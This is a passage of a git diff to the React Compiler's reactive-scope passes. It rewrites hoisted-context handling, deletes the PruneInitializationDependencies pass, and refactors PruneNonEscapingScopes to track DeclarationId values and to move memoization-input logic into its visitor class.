+      instruction.value.lvalue.kind !== InstructionKind.Reassign
     ) {
-      return {
-        kind: "replace",
-        value: {
-          kind: "instruction",
-          instruction: {
-            ...instruction,
-            value: {
-              ...instruction.value,
-              lvalue: {
-                ...instruction.value.lvalue,
-                kind: InstructionKind.Const,
-              },
-              type: null,
-              kind: "StoreLocal",
-            },
-          },
-        },
-      };
+      /**
+       * Rewrite StoreContexts let/const that will be pre-declared in
+       * codegen to reassignments.
+       */
+      const lvalueId = instruction.value.lvalue.place.identifier.id;
+      const isDeclaredByScope = state.activeScopes.find(scope =>
+        scope.has(lvalueId),
+      );
+      if (isDeclaredByScope) {
+        if (
+          instruction.value.lvalue.kind === InstructionKind.Let ||
+          instruction.value.lvalue.kind === InstructionKind.Const
+        ) {
+          instruction.value.lvalue.kind = InstructionKind.Reassign;
+        } else if (instruction.value.lvalue.kind === InstructionKind.Function) {
+          const maybeHoistedFn = state.uninitialized.get(lvalueId);
+          if (maybeHoistedFn != null) {
+            CompilerError.invariant(maybeHoistedFn.kind === 'func', {
+              reason: '[PruneHoistedContexts] Unexpected hoisted function',
+              loc: instruction.loc,
+            });
+            maybeHoistedFn.definition = instruction.value.lvalue.place;
+            /**
+             * References to hoisted functions are now "safe" as variable assignments
+             * have finished.
+             */
+            state.uninitialized.delete(lvalueId);
+          }
+        } else {
+          CompilerError.throwTodo({
+            reason: '[PruneHoistedContexts] Unexpected kind',
+            description: `(${instruction.value.lvalue.kind})`,
+            loc: instruction.loc,
+          });
+        }
+      }
     }
 
-    return { kind: "keep" };
+    this.visitInstruction(instruction, state);
+    return {kind: 'keep'};
   }
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneInitializationDependencies.ts b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneInitializationDependencies.ts
deleted file mode 100644
index b9939addcf11..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneInitializationDependencies.ts
+++ /dev/null
@@ -1,290 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-import { CompilerError } from "../CompilerError";
-import {
-  Environment,
-  Identifier,
-  IdentifierId,
-  InstructionId,
-  Place,
-  ReactiveBlock,
-  ReactiveFunction,
-  ReactiveInstruction,
-  ReactiveScopeBlock,
-  ReactiveTerminalStatement,
-  getHookKind,
-  isUseRefType,
-  isUseStateType,
-} from "../HIR";
-import { eachCallArgument, eachInstructionLValue } from "../HIR/visitors";
-import DisjointSet from "../Utils/DisjointSet";
-import { assertExhaustive } from "../Utils/utils";
-import { ReactiveFunctionVisitor, visitReactiveFunction } from "./visitors";
-
-/**
- * This pass is built based on the observation by @jbrown215 that arguments
- * to useState and useRef are only used the first time a component is rendered.
- * Any subsequent times, the arguments will be evaluated but ignored. In this pass,
- * we use this fact to improve the output of the compiler by not recomputing values that
- * are only used as arguments (or inputs to arguments to) useState and useRef.
- *
- * This pass isn't yet stress-tested so it's not enabled by default. It's only enabled
- * to support certain debug modes that detect non-idempotent code, since non-idempotent
- * code can "safely" be used if its only passed to useState and useRef. We plan to rewrite
- * this pass in HIR and enable it as an optimization in the future.
- *
- * Algorithm:
- * We take two passes over the reactive function AST. In the first pass, we gather
- * aliases and build relationships between property accesses--the key thing we need
- * to do here is to find that, e.g., $0.x and $1 refer to the same value if
- * $1 = PropertyLoad $0.x.
- *
- * In the second pass, we traverse the AST in reverse order and track how each place
- * is used. If a place is read from in any Terminal, we mark the place as "Update", meaning
- * it is used whenever the component is updated/re-rendered. If a place is read from in
- * a useState or useRef hook call, we mark it as "Create", since it is only used when the
- * component is created. In other instructions, we propagate the inferred place for the
- * instructions lvalues onto any other instructions that are read.
- *
- * Whenever we finish this reverse pass over a reactive block, we can look at the blocks
- * dependencies and see whether the dependencies are used in an "Update" context or only
- * in a "Create" context. If a dependency is create-only, then we can remove that dependency
- * from the block.
- */
-
-type CreateUpdate = "Create" | "Update" | "Unknown";
-
-type KindMap = Map<IdentifierId, CreateUpdate>;
-
-class Visitor extends ReactiveFunctionVisitor<CreateUpdate> {
-  map: KindMap = new Map();
-  aliases: DisjointSet<IdentifierId>;
-  paths: Map<IdentifierId, Map<string, IdentifierId>>;
-  env: Environment;
-
-  constructor(
-    env: Environment,
-    aliases: DisjointSet<IdentifierId>,
-    paths: Map<IdentifierId, Map<string, IdentifierId>>
-  ) {
-    super();
-    this.aliases = aliases;
-    this.paths = paths;
-    this.env = env;
-  }
-
-  join(values: Array<CreateUpdate>): CreateUpdate {
-    function join2(l: CreateUpdate, r: CreateUpdate): CreateUpdate {
-      if (l === "Update" || r === "Update") {
-        return "Update";
-      } else if (l === "Create" || r === "Create") {
-        return "Create";
-      } else if (l === "Unknown" || r === "Unknown") {
-        return "Unknown";
-      }
-      assertExhaustive(r, `Unhandled variable kind ${r}`);
-    }
-    return values.reduce(join2, "Unknown");
-  }
-
-  isCreateOnlyHook(id: Identifier): boolean {
-    return isUseStateType(id) || isUseRefType(id);
-  }
-
-  override visitPlace(
-    _: InstructionId,
-    place: Place,
-    state: CreateUpdate
-  ): void {
-    this.map.set(
-      place.identifier.id,
-      this.join([state, this.map.get(place.identifier.id) ?? "Unknown"])
-    );
-  }
-
-  override visitBlock(block: ReactiveBlock, state: CreateUpdate): void {
-    super.visitBlock([...block].reverse(), state);
-  }
-
-  override visitInstruction(instruction: ReactiveInstruction): void {
-    const state = this.join(
-      [...eachInstructionLValue(instruction)].map(
-        (operand) => this.map.get(operand.identifier.id) ?? "Unknown"
-      )
-    );
-
-    const visitCallOrMethodNonArgs = (): void => {
-      switch (instruction.value.kind) {
-        case "CallExpression": {
-          this.visitPlace(instruction.id, instruction.value.callee, state);
-          break;
-        }
-        case "MethodCall": {
-          this.visitPlace(instruction.id, instruction.value.property, state);
-          this.visitPlace(instruction.id, instruction.value.receiver, state);
-          break;
-        }
-      }
-    };
-
-    const isHook = (): boolean => {
-      let callee = null;
-      switch (instruction.value.kind) {
-        case "CallExpression": {
-          callee = instruction.value.callee.identifier;
-          break;
-        }
-        case "MethodCall": {
-          callee = instruction.value.property.identifier;
-          break;
-        }
-      }
-      return callee != null && getHookKind(this.env, callee) != null;
-    };
-
-    switch (instruction.value.kind) {
-      case "CallExpression":
-      case "MethodCall": {
-        if (
-          instruction.lvalue &&
-          this.isCreateOnlyHook(instruction.lvalue.identifier)
-        ) {
-          [...eachCallArgument(instruction.value.args)].forEach((operand) =>
-            this.visitPlace(instruction.id, operand, "Create")
-          );
-          visitCallOrMethodNonArgs();
-        } else {
-          this.traverseInstruction(instruction, isHook() ? "Update" : state);
-        }
-        break;
-      }
-      default: {
-        this.traverseInstruction(instruction, state);
-      }
-    }
-  }
-
-  override visitScope(scope: ReactiveScopeBlock): void {
-    const state = this.join(
-      [
-        ...scope.scope.declarations.keys(),
-        ...[...scope.scope.reassignments.values()].map((ident) => ident.id),
-      ].map((id) => this.map.get(id) ?? "Unknown")
-    );
-    super.visitScope(scope, state);
-    [...scope.scope.dependencies].forEach((ident) => {
-      let target: undefined | IdentifierId =
-        this.aliases.find(ident.identifier.id) ?? ident.identifier.id;
-      ident.path.forEach((key) => {
-        target &&= this.paths.get(target)?.get(key);
-      });
-      if (target && this.map.get(target) === "Create") {
-        scope.scope.dependencies.delete(ident);
-      }
-    });
-  }
-
-  override visitTerminal(
-    stmt: ReactiveTerminalStatement,
-    state: CreateUpdate
-  ): void {
-    CompilerError.invariant(state !== "Create", {
-      reason: "Visiting a terminal statement with state 'Create'",
-      loc: stmt.terminal.loc,
-    });
-    super.visitTerminal(stmt, state);
-  }
-
-  override visitReactiveFunctionValue(
-    _id: InstructionId,
-    _dependencies: Array<Place>,
-    fn: ReactiveFunction,
-    state: CreateUpdate
-  ): void {
-    visitReactiveFunction(fn, this, state);
-  }
-}
-
-export default function pruneInitializationDependencies(
-  fn: ReactiveFunction
-): void {
-  const [aliases, paths] = getAliases(fn);
-  visitReactiveFunction(fn, new Visitor(fn.env, aliases, paths), "Update");
-}
-
-function update(
-  map: Map<IdentifierId, Map<string, IdentifierId>>,
-  key: IdentifierId,
-  path: string,
-  value: IdentifierId
-): void {
-  const inner = map.get(key) ?? new Map();
-  inner.set(path, value);
-  map.set(key, inner);
-}
-
-class AliasVisitor extends ReactiveFunctionVisitor {
-  scopeIdentifiers: DisjointSet<IdentifierId> = new DisjointSet<IdentifierId>();
-  scopePaths: Map<IdentifierId, Map<string, IdentifierId>> = new Map();
-
-  override visitInstruction(instr: ReactiveInstruction): void {
-    if (
-      instr.value.kind === "StoreLocal" ||
-      instr.value.kind === "StoreContext"
-    ) {
-      this.scopeIdentifiers.union([
-        instr.value.lvalue.place.identifier.id,
-        instr.value.value.identifier.id,
-      ]);
-    } else if (
-      instr.value.kind === "LoadLocal" ||
-      instr.value.kind === "LoadContext"
-    ) {
-      instr.lvalue &&
-        this.scopeIdentifiers.union([
-          instr.lvalue.identifier.id,
-          instr.value.place.identifier.id,
-        ]);
-    } else if (instr.value.kind === "PropertyLoad") {
-      instr.lvalue &&
-        update(
-          this.scopePaths,
-          instr.value.object.identifier.id,
-          instr.value.property,
-          instr.lvalue.identifier.id
-        );
-    } else if (instr.value.kind === "PropertyStore") {
-      update(
-        this.scopePaths,
-        instr.value.object.identifier.id,
-        instr.value.property,
-        instr.value.value.identifier.id
-      );
-    }
-  }
-}
-
-function getAliases(
-  fn: ReactiveFunction
-): [DisjointSet<IdentifierId>, Map<IdentifierId, Map<string, IdentifierId>>] {
-  const visitor = new AliasVisitor();
-  visitReactiveFunction(fn, visitor, null);
-  let disjoint = visitor.scopeIdentifiers;
-  let scopePaths = new Map<IdentifierId, Map<string, IdentifierId>>();
-  for (const [key, value] of visitor.scopePaths) {
-    for (const [path, id] of value) {
-      update(
-        scopePaths,
-        disjoint.find(key) ?? key,
-        path,
-        disjoint.find(id) ?? id
-      );
-    }
-  }
-  return [disjoint, scopePaths];
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneNonEscapingScopes.ts b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneNonEscapingScopes.ts
index d2b651f8b84a..a3408f580b58 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneNonEscapingScopes.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneNonEscapingScopes.ts
@@ -5,10 +5,12 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { CompilerError } from "../CompilerError";
+import {CompilerError} from '../CompilerError';
 import {
+  DeclarationId,
   Environment,
-  IdentifierId,
+  GeneratedSource,
+  Identifier,
   InstructionId,
   Pattern,
   Place,
@@ -22,17 +24,18 @@ import {
   ScopeId,
   getHookKind,
   isMutableEffect,
-} from "../HIR";
-import { getFunctionCallSignature } from "../Inference/InferReferenceEffects";
-import { assertExhaustive } from "../Utils/utils";
-import { getPlaceScope } from "./BuildReactiveBlocks";
+} from '../HIR';
+import {assertExhaustive, getOrInsertDefault} from '../Utils/utils';
+import {getPlaceScope, ReactiveScope} from '../HIR/HIR';
 import {
   ReactiveFunctionTransform,
   ReactiveFunctionVisitor,
   Transformed,
   eachReactiveValueOperand,
   visitReactiveFunction,
-} from "./visitors";
+} from './visitors';
+import {printPlace} from '../HIR/PrintHIR';
+import {getFunctionCallSignature} from '../Inference/InferMutationAliasingEffects';
 
 /*
  * This pass prunes reactive scopes that are not necessary to bound downstream computation.
@@ -114,15 +117,13 @@ export function pruneNonEscapingScopes(fn: ReactiveFunction): void {
    */
   const state = new State(fn.env);
   for (const param of fn.params) {
-    if (param.kind === "Identifier") {
-      state.declare(param.identifier.id);
+    if (param.kind === 'Identifier') {
+      state.declare(param.identifier.declarationId);
     } else {
-      state.declare(param.place.identifier.id);
+      state.declare(param.place.identifier.declarationId);
     }
   }
-  visitReactiveFunction(fn, new CollectDependenciesVisitor(fn.env), state);
-
-  // log(() => prettyFormat(state));
+  visitReactiveFunction(fn, new CollectDependenciesVisitor(fn.env, state), []);
 
   /*
    * Then walk outward from the returned values and find all captured operands.
@@ -130,10 +131,6 @@ export function pruneNonEscapingScopes(fn: ReactiveFunction): void {
    */
   const memoized = computeMemoizedIdentifiers(state);
 
-  // log(() => prettyFormat(memoized));
-
-  // log(() => printReactiveFunction(fn));
-
   // Prune scopes that do not declare/reassign any escaping values
   visitReactiveFunction(fn, new PruneScopesTransform(), memoized);
 }
@@ -146,19 +143,19 @@ export type MemoizationOptions = {
 // Describes how to determine whether a value should be memoized, relative to dependees and dependencies
 enum MemoizationLevel {
   // The value should be memoized if it escapes
-  Memoized = "Memoized",
+  Memoized = 'Memoized',
   /*
    * Values that are memoized if their dependencies are memoized (used for logical/ternary and
    * other expressions that propagate dependencies wo changing them)
    */
-  Conditional = "Conditional",
+  Conditional = 'Conditional',
   /*
    * Values that cannot be compared with Object.is, but which by default don't need to be memoized
    * unless forced
    */
-  Unmemoized = "Unmemoized",
+  Unmemoized = 'Unmemoized',
   // The value will never be memoized: used for values that can be cheaply compared w Object.is
-  Never = "Never",
+  Never = 'Never',
 }
 
 /*
@@ -167,7 +164,7 @@ enum MemoizationLevel {
  */
 function joinAliases(
   kind1: MemoizationLevel,
-  kind2: MemoizationLevel
+  kind2: MemoizationLevel,
 ): MemoizationLevel {
   if (
     kind1 === MemoizationLevel.Memoized ||
@@ -193,14 +190,14 @@ function joinAliases(
 type IdentifierNode = {
   level: MemoizationLevel;
   memoized: boolean;
-  dependencies: Set<IdentifierId>;
+  dependencies: Set<DeclarationId>;
   scopes: Set<ScopeId>;
   seen: boolean;
 };
 
 // A scope node describing its dependencies
 type ScopeNode = {
-  dependencies: Array<IdentifierId>;
+  dependencies: Array<DeclarationId>;
   seen: boolean;
 };
 
@@ -209,20 +206,30 @@ class State {
   env: Environment;
   /*
    * Maps lvalues for LoadLocal to the identifier being loaded, to resolve indirections
-   * in subsequent lvalues/rvalues
+   * in subsequent lvalues/rvalues.
+   *
+   * NOTE: this pass uses DeclarationId rather than IdentifierId because the pass is not
+   * aware of control-flow, only data flow via mutation. Instead of precisely modeling
+   * control flow, we analyze all values that may flow into a particular program variable,
+   * and then whether that program variable may escape (if so, the values flowing in may
+   * escape too). Thus we use DeclarationId to captures all values that may flow into
+   * a particular program variable, regardless of control flow paths.
+   *
+   * In the future when we convert to HIR everywhere this pass can account for control
+   * flow and use SSA ids.
    */
-  definitions: Map<IdentifierId, IdentifierId> = new Map();
+  definitions: Map<DeclarationId, DeclarationId> = new Map();
 
-  identifiers: Map<IdentifierId, IdentifierNode> = new Map();
+  identifiers: Map<DeclarationId, IdentifierNode> = new Map();
   scopes: Map<ScopeId, ScopeNode> = new Map();
-  escapingValues: Set<IdentifierId> = new Set();
+  escapingValues: Set<DeclarationId> = new Set();
 
   constructor(env: Environment) {
     this.env = env;
   }
 
   // Declare a new identifier, used for function id and params
-  declare(id: IdentifierId): void {
+  declare(id: DeclarationId): void {
     this.identifiers.set(id, {
       level: MemoizationLevel.Never,
       memoized: false,
@@ -240,24 +247,25 @@ class State {
   visitOperand(
     id: InstructionId,
     place: Place,
-    identifier: IdentifierId
+    identifier: DeclarationId,
   ): void {
     const scope = getPlaceScope(id, place);
     if (scope !== null) {
       let node = this.scopes.get(scope.id);
       if (node === undefined) {
         node = {
-          dependencies: [...scope.dependencies].map((dep) => dep.identifier.id),
+          dependencies: [...scope.dependencies].map(
+            dep => dep.identifier.declarationId,
+          ),
           seen: false,
         };
         this.scopes.set(scope.id, node);
       }
       const identifierNode = this.identifiers.get(identifier);
       CompilerError.invariant(identifierNode !== undefined, {
-        reason: "Expected identifier to be initialized",
-        description: null,
+        reason: 'Expected identifier to be initialized',
+        description: `[${id}] operand=${printPlace(place)} for identifier declaration ${identifier}`,
         loc: place.loc,
-        suggestions: null,
       });
       identifierNode.scopes.add(scope.id);
     }
@@ -269,17 +277,15 @@ class State {
  * to determine which other values should be memoized. Returns a set of all identifiers
  * that should be memoized.
  */
-function computeMemoizedIdentifiers(state: State): Set<IdentifierId> {
-  const memoized = new Set<IdentifierId>();
+function computeMemoizedIdentifiers(state: State): Set<DeclarationId> {
+  const memoized = new Set<DeclarationId>();
 
   // Visit an identifier, optionally forcing it to be memoized
-  function visit(id: IdentifierId, forceMemoize: boolean = false): boolean {
+  function visit(id: DeclarationId, forceMemoize: boolean = false): boolean {
     const node = state.identifiers.get(id);
     CompilerError.invariant(node !== undefined, {
       reason: `Expected a node for all identifiers, none found for \`${id}\``,
-      description: null,
-      loc: null,
-      suggestions: null,
+      loc: GeneratedSource,
     });
     if (node.seen) {
       return node.memoized;
@@ -318,10 +324,8 @@ function computeMemoizedIdentifiers(state: State): Set<IdentifierId> {
   function forceMemoizeScopeDependencies(id: ScopeId): void {
     const node = state.scopes.get(id);
     CompilerError.invariant(node !== undefined, {
-      reason: "Expected a node for all scopes",
-      description: null,
-      loc: null,
-      suggestions: null,
+      reason: 'Expected a node for all scopes',
+      loc: GeneratedSource,
     });
     if (node.seen) {
       return;
@@ -347,434 +351,22 @@ type LValueMemoization = {
   level: MemoizationLevel;
 };
 
-/*
- * Given a value, returns a description of how it should be memoized:
- * - lvalues: optional extra places that are lvalue-like in the sense of
- *   aliasing the rvalues
- * - rvalues: places that are aliased by the instruction's lvalues.
- * - level: the level of memoization to apply to this value
- */
-function computeMemoizationInputs(
-  env: Environment,
-  value: ReactiveValue,
-  lvalue: Place | null,
-  options: MemoizationOptions
-): {
-  // can optionally return a custom set of lvalues per instruction
-  lvalues: Array<LValueMemoization>;
-  rvalues: Array<Place>;
-} {
-  switch (value.kind) {
-    case "ConditionalExpression": {
-      return {
-        // Only need to memoize if the rvalues are memoized
-        lvalues:
-          lvalue !== null
-            ? [{ place: lvalue, level: MemoizationLevel.Conditional }]
-            : [],
-        rvalues: [
-          // Conditionals do not alias their test value.
-          ...computeMemoizationInputs(env, value.consequent, null, options)
-            .rvalues,
-          ...computeMemoizationInputs(env, value.alternate, null, options)
-            .rvalues,
-        ],
-      };
-    }
-    case "LogicalExpression": {
-      return {
-        // Only need to memoize if the rvalues are memoized
-        lvalues:
-          lvalue !== null
-            ? [{ place: lvalue, level: MemoizationLevel.Conditional }]
-            : [],
-        rvalues: [
-          ...computeMemoizationInputs(env, value.left, null, options).rvalues,
-          ...computeMemoizationInputs(env, value.right, null, options).rvalues,
-        ],
-      };
-    }
-    case "SequenceExpression": {
-      return {
-        // Only need to memoize if the rvalues are memoized
-        lvalues:
-          lvalue !== null
-            ? [{ place: lvalue, level: MemoizationLevel.Conditional }]
-            : [],
-        /*
-         * Only the final value of the sequence is a true rvalue:
-         * values from the sequence's instructions are evaluated
-         * as separate nodes
-         */
-        rvalues: computeMemoizationInputs(env, value.value, null, options)
-          .rvalues,
-      };
-    }
-    case "JsxExpression": {
-      const operands: Array<Place> = [];
-      if (value.tag.kind === "Identifier") {
-        operands.push(value.tag);
-      }
-      for (const prop of value.props) {
-        if (prop.kind === "JsxAttribute") {
-          operands.push(prop.place);
-        } else {
-          operands.push(prop.argument);
-        }
-      }
-      if (value.children !== null) {
-        for (const child of value.children) {
-          operands.push(child);
-        }
-      }
-      const level = options.memoizeJsxElements
-        ? MemoizationLevel.Memoized
-        : MemoizationLevel.Unmemoized;
-      return {
-        /*
-         * JSX elements themselves are not memoized unless forced to
-         * avoid breaking downstream memoization
-         */
-        lvalues: lvalue !== null ? [{ place: lvalue, level }] : [],
-        rvalues: operands,
-      };
-    }
-    case "JsxFragment": {
-      const level = options.memoizeJsxElements
-        ? MemoizationLevel.Memoized
-        : MemoizationLevel.Unmemoized;
-      return {
-        /*
-         * JSX elements themselves are not memoized unless forced to
-         * avoid breaking downstream memoization
-         */
-        lvalues: lvalue !== null ? [{ place: lvalue, level }] : [],
-        rvalues: value.children,
-      };
-    }
-    case "NextPropertyOf":
-    case "StartMemoize":
-    case "FinishMemoize":
-    case "Debugger":
-    case "ComputedDelete":
-    case "PropertyDelete":
-    case "LoadGlobal":
-    case "MetaProperty":
-    case "TemplateLiteral":
-    case "Primitive":
-    case "JSXText":
-    case "BinaryExpression":
-    case "UnaryExpression": {
-      const level = options.forceMemoizePrimitives
-        ? MemoizationLevel.Memoized
-        : MemoizationLevel.Never;
-      return {
-        // All of these instructions return a primitive value and never need to be memoized
-        lvalues: lvalue !== null ? [{ place: lvalue, level }] : [],
-        rvalues: [],
-      };
-    }
-    case "Await":
-    case "TypeCastExpression": {
-      return {
-        // Indirection for the inner value, memoized if the value is
-        lvalues:
-          lvalue !== null
-            ? [{ place: lvalue, level: MemoizationLevel.Conditional }]
-            : [],
-        rvalues: [value.value],
-      };
-    }
-    case "IteratorNext": {
-      return {
-        // Indirection for the inner value, memoized if the value is
-        lvalues:
-          lvalue !== null
-            ? [{ place: lvalue, level: MemoizationLevel.Conditional }]
-            : [],
-        rvalues: [value.iterator, value.collection],
-      };
-    }
-    case "GetIterator": {
-      return {
-        // Indirection for the inner value, memoized if the value is
-        lvalues:
-          lvalue !== null
-            ? [{ place: lvalue, level: MemoizationLevel.Conditional }]
-            : [],
-        rvalues: [value.collection],
-      };
-    }
-    case "LoadLocal": {
-      return {
-        // Indirection for the inner value, memoized if the value is
-        lvalues:
-          lvalue !== null
-            ? [{ place: lvalue, level: MemoizationLevel.Conditional }]
-            : [],
-        rvalues: [value.place],
-      };
-    }
-    case "LoadContext": {
-      return {
-        // Should never be pruned
-        lvalues:
-          lvalue !== null
-            ? [{ place: lvalue, level: MemoizationLevel.Conditional }]
-            : [],
-        rvalues: [value.place],
-      };
-    }
-    case "DeclareContext": {
-      const lvalues = [
-        { place: value.lvalue.place, level: MemoizationLevel.Memoized },
-      ];
-      if (lvalue !== null) {
-        lvalues.push({ place: lvalue, level: MemoizationLevel.Unmemoized });
-      }
-      return {
-        lvalues,
-        rvalues: [],
-      };
-    }
-
-    case "DeclareLocal": {
-      const lvalues = [
-        { place: value.lvalue.place, level: MemoizationLevel.Unmemoized },
-      ];
-      if (lvalue !== null) {
-        lvalues.push({ place: lvalue, level: MemoizationLevel.Unmemoized });
-      }
-      return {
-        lvalues,
-        rvalues: [],
-      };
-    }
-    case "PrefixUpdate":
-    case "PostfixUpdate": {
-      const lvalues = [
-        { place: value.lvalue, level: MemoizationLevel.Conditional },
-      ];
-      if (lvalue !== null) {
-        lvalues.push({ place: lvalue, level: MemoizationLevel.Conditional });
-      }
-      return {
-        // Indirection for the inner value, memoized if the value is
-        lvalues,
-        rvalues: [value.value],
-      };
-    }
-    case "StoreLocal": {
-      const lvalues = [
-        { place: value.lvalue.place, level: MemoizationLevel.Conditional },
-      ];
-      if (lvalue !== null) {
-        lvalues.push({ place: lvalue, level: MemoizationLevel.Conditional });
-      }
-      return {
-        // Indirection for the inner value, memoized if the value is
-        lvalues,
-        rvalues: [value.value],
-      };
-    }
-    case "StoreContext": {
-      // Should never be pruned
-      const lvalues = [
-        { place: value.lvalue.place, level: MemoizationLevel.Memoized },
-      ];
-      if (lvalue !== null) {
-        lvalues.push({ place: lvalue, level: MemoizationLevel.Conditional });
-      }
-
-      return {
-        lvalues,
-        rvalues: [value.value],
-      };
-    }
-    case "StoreGlobal": {
-      const lvalues = [];
-      if (lvalue !== null) {
-        lvalues.push({ place: lvalue, level: MemoizationLevel.Unmemoized });
-      }
-
-      return {
-        lvalues,
-        rvalues: [value.value],
-      };
-    }
-    case "Destructure": {
-      // Indirection for the inner value, memoized if the value is
-      const lvalues = [];
-      if (lvalue !== null) {
-        lvalues.push({ place: lvalue, level: MemoizationLevel.Conditional });
-      }
-      lvalues.push(...computePatternLValues(value.lvalue.pattern));
-      return {
-        lvalues: lvalues,
-        rvalues: [value.value],
-      };
-    }
-    case "ComputedLoad":
-    case "PropertyLoad": {
-      const level = options.forceMemoizePrimitives
-        ? MemoizationLevel.Memoized
-        : MemoizationLevel.Conditional;
-      return {
-        // Indirection for the inner value, memoized if the value is
-        lvalues: lvalue !== null ? [{ place: lvalue, level }] : [],
-        /*
-         * Only the object is aliased to the result, and the result only needs to be
-         * memoized if the object is
-         */
-        rvalues: [value.object],
-      };
-    }
-    case "ComputedStore": {
-      /*
-       * The object being stored to acts as an lvalue (it aliases the value), but
-       * the computed key is not aliased
-       */
-      const lvalues = [
-        { place: value.object, level: MemoizationLevel.Conditional },
-      ];
-      if (lvalue !== null) {
-        lvalues.push({ place: lvalue, level: MemoizationLevel.Conditional });
-      }
-      return {
-        lvalues,
-        rvalues: [value.value],
-      };
-    }
-    case "OptionalExpression": {
-      // Indirection for the inner value, memoized if the value is
-      const lvalues = [];
-      if (lvalue !== null) {
-        lvalues.push({ place: lvalue, level: MemoizationLevel.Conditional });
-      }
-      return {
-        lvalues: lvalues,
-        rvalues: [
-          ...computeMemoizationInputs(env, value.value, null, options).rvalues,
-        ],
-      };
-    }
-    case "CallExpression": {
-      const signature = getFunctionCallSignature(
-        env,
-        value.callee.identifier.type
-      );
-      const operands = [...eachReactiveValueOperand(value)];
-      let lvalues = [];
-      if (lvalue !== null) {
-        lvalues.push({ place: lvalue, level: MemoizationLevel.Memoized });
-      }
-      if (signature?.noAlias === true) {
-        return {
-          lvalues,
-          rvalues: [],
-        };
-      }
-      lvalues.push(
-        ...operands
-          .filter((operand) => isMutableEffect(operand.effect, operand.loc))
-          .map((place) => ({ place, level: MemoizationLevel.Memoized }))
-      );
-      return {
-        lvalues,
-        rvalues: operands,
-      };
-    }
-    case "MethodCall": {
-      const signature = getFunctionCallSignature(
-        env,
-        value.property.identifier.type
-      );
-      const operands = [...eachReactiveValueOperand(value)];
-      let lvalues = [];
-      if (lvalue !== null) {
-        lvalues.push({ place: lvalue, level: MemoizationLevel.Memoized });
-      }
-      if (signature?.noAlias === true) {
-        return {
-          lvalues,
-          rvalues: [],
-        };
-      }
-      lvalues.push(
-        ...operands
-          .filter((operand) => isMutableEffect(operand.effect, operand.loc))
-          .map((place) => ({ place, level: MemoizationLevel.Memoized }))
-      );
-      return {
-        lvalues,
-        rvalues: operands,
-      };
-    }
-    case "RegExpLiteral":
-    case "ObjectMethod":
-    case "FunctionExpression":
-    case "TaggedTemplateExpression":
-    case "ArrayExpression":
-    case "NewExpression":
-    case "ObjectExpression":
-    case "PropertyStore": {
-      /*
-       * All of these instructions may produce new values which must be memoized if
-       * reachable from a return value. Any mutable rvalue may alias any other rvalue
-       */
-      const operands = [...eachReactiveValueOperand(value)];
-      const lvalues = operands
-        .filter((operand) => isMutableEffect(operand.effect, operand.loc))
-        .map((place) => ({ place, level: MemoizationLevel.Memoized }));
-      if (lvalue !== null) {
-        lvalues.push({ place: lvalue, level: MemoizationLevel.Memoized });
-      }
-      return {
-        lvalues,
-        rvalues: operands,
-      };
-    }
-    case "ReactiveFunctionValue": {
-      CompilerError.invariant(false, {
-        reason: `Unexpected ReactiveFunctionValue node`,
-        description: null,
-        loc: value.loc,
-        suggestions: null,
-      });
-    }
-    case "UnsupportedNode": {
-      CompilerError.invariant(false, {
-        reason: `Unexpected unsupported node`,
-        description: null,
-        loc: value.loc,
-        suggestions: null,
-      });
-    }
-    default: {
-      assertExhaustive(
-        value,
-        `Unexpected value kind \`${(value as any).kind}\``
-      );
-    }
-  }
-}
-
 function computePatternLValues(pattern: Pattern): Array<LValueMemoization> {
   const lvalues: Array<LValueMemoization> = [];
   switch (pattern.kind) {
-    case "ArrayPattern": {
+    case 'ArrayPattern': {
       for (const item of pattern.items) {
-        if (item.kind === "Identifier") {
-          lvalues.push({ place: item, level: MemoizationLevel.Conditional });
-        } else if (item.kind === "Spread") {
-          lvalues.push({ place: item.place, level: MemoizationLevel.Memoized });
+        if (item.kind === 'Identifier') {
+          lvalues.push({place: item, level: MemoizationLevel.Conditional});
+        } else if (item.kind === 'Spread') {
+          lvalues.push({place: item.place, level: MemoizationLevel.Memoized});
         }
       }
       break;
     }
-    case "ObjectPattern": {
+    case 'ObjectPattern': {
       for (const property of pattern.properties) {
-        if (property.kind === "ObjectProperty") {
+        if (property.kind === 'ObjectProperty') {
           lvalues.push({
             place: property.place,
             level: MemoizationLevel.Conditional,
@@ -791,7 +383,7 @@ function computePatternLValues(pattern: Pattern): Array<LValueMemoization> {
     default: {
       assertExhaustive(
         pattern,
-        `Unexpected pattern kind \`${(pattern as any).kind}\``
+        `Unexpected pattern kind \`${(pattern as any).kind}\``,
       );
     }
   }
@@ -802,44 +394,491 @@ function computePatternLValues(pattern: Pattern): Array<LValueMemoization> {
  * Populates the input state with the set of returned identifiers and information about each
  * identifier's and scope's dependencies.
  */
-class CollectDependenciesVisitor extends ReactiveFunctionVisitor<State> {
+class CollectDependenciesVisitor extends ReactiveFunctionVisitor<
+  Array<ReactiveScope>
+> {
   env: Environment;
+  state: State;
   options: MemoizationOptions;
 
-  constructor(env: Environment) {
+  constructor(env: Environment, state: State) {
     super();
     this.env = env;
+    this.state = state;
     this.options = {
       memoizeJsxElements: !this.env.config.enableForest,
-      forceMemoizePrimitives: this.env.config.enableForest,
+      forceMemoizePrimitives:
+        this.env.config.enableForest ||
+        this.env.config.enablePreserveExistingMemoizationGuarantees,
     };
   }
 
-  override visitInstruction(
-    instruction: ReactiveInstruction,
-    state: State
-  ): void {
-    this.traverseInstruction(instruction, state);
+  /*
+   * Given a value, returns a description of how it should be memoized:
+   * - lvalues: optional extra places that are lvalue-like in the sense of
+   *   aliasing the rvalues
+   * - rvalues: places that are aliased by the instruction's lvalues.
+   * - level: the level of memoization to apply to this value
+   */
+  computeMemoizationInputs(
+    value: ReactiveValue,
+    lvalue: Place | null,
+  ): {
+    // can optionally return a custom set of lvalues per instruction
+    lvalues: Array<LValueMemoization>;
+    rvalues: Array<Place>;
+  } {
+    const env = this.env;
